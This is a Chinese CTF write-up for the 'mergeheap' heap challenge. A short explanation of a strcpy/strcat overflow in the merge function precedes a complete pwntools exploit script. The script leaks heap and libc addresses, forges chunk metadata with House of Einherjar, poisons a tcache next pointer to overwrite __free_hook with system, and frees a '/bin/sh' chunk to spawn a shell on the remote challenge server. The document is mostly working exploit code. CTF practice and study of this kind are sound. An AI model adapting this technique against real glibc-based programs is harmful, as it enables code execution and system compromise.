0%

mergeheap

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,在合并的时候,存在溢出,strcpy、strcat可能会将下一个chunk的size也拷贝过来,从而可以溢出修改下一个chunk的size。

并且,由于merge的时候使用的是strcpy、strcat,遇到0字符会截断,因此当我们写64位地址数据的时候,需要从最后一个开始写,前面全部用不截断的字符填充。依次从后往前完成64位数据的布置。通过伪造chunk,利用house of Einherjar,形成overlap chunk后,修改tcache bin chunk的next指针,达到任意地址分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#coding:utf8
from pwn import *

#sh = process('./mergeheap')
sh = remote('node3.buuoj.cn',29551)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('len:',str(size))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('idx:',str(index))

def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('idx:',str(index))

def merge(index1,index2):
sh.sendlineafter('>>','4')
sh.sendlineafter('idx1:',str(index1))
sh.sendlineafter('idx2:',str(index2))

#0
add(0x80,'a'*0x80)
#1~7
for i in range(7):
add(0x80,'b'*0x80)
#8
add(0x80,'c'*0x80)
#9
add(0x100,'d'*0x100)
#10
add(0x80,'e'*0x80)
#11
add(0x10,'f'*0x10)
#12
add(0x10,'e'*0x10)
delete(12)
delete(11)
#泄露堆地址
add(0,'') #11
show(11)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(0,'') #12
#7个进tcache
for i in range(1,8):
delete(i)
#得到unsorted bin
delete(0)
#泄露地址
add(0,'') #0
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

####第一次,我们修改size######
#1
add(0x80,'b'*(0x80 - 1) + p8(0x90))
#2
add(0x88,'b'*0x88)
#9放入0x110的tcache bin
delete(9)
#3,合并后,会修改9的size
merge(2,1)
#将chunk8的index换到4来
delete(8)
add(0x80,'c'*0x80) #4

#清空chunk8某处8字节数据
def clearChunk8(offset):
for i in range(7,-1,-1):
delete(4)
add(0x80,'b'*offset + 'b'*i + '\n') #4

def writeChunk8(offset,data):
delete(4)
add(0x80,'b'*offset + p64(data)[0:7] + '\n') #4

#清空后一个堆里某处8字节数据
def clearLast(offset):
for i in range(7,-1,-1):
#将1、2重新返回tcache bin
delete(2)
delete(1)
#释放0x110的chunk
delete(3)
#1
add(0x80,'b'*offset + 'b'*i + '\n')
#2
add(0x88,'b'*0x88)
#3
merge(2,1)

def writePrevSize(data):
#将1、2重新返回tcache bin
delete(2)
delete(1)
#释放0x110的chunk
delete(3)
#1
add(0x80,'b'*(0x80 - 9) + p64(data) + '\n')
#2
add(0x88,'b'*0x88)
#3
merge(2,1)

####第二次,我们用同样的方法修改prev_size#####
#先清空prev_size处的数据
clearLast(0x80 - 9)
#现在,写prev_size
writePrevSize(0x110 + 0x80)
#我们要在chunk8里伪造一个chunk
#伪造bk
clearChunk8(0x18)
writeChunk8(0x18,heap_addr - 0x250)
#伪造fd
clearChunk8(0x10)
writeChunk8(0x10,heap_addr - 0x250)
#伪造size
clearChunk8(0x8)
writeChunk8(0x8,0x80 + 0x111)
delete(1)
delete(2)
#unsorted bin合并,形成overlap chunk
delete(10)
#0x110的chunk放入tcache bin
delete(3)
#1
add(0x70,'c'*0x70)
#与0x110的chunk重合
add(0x70,p64(free_hook_addr) + '\n')
add(0x100,'/bin/sh\x00\n') #2
#申请到free_hook处
add(0x100,p64(system_addr) + '\n')
#getshell
delete(2)

sh.interactive()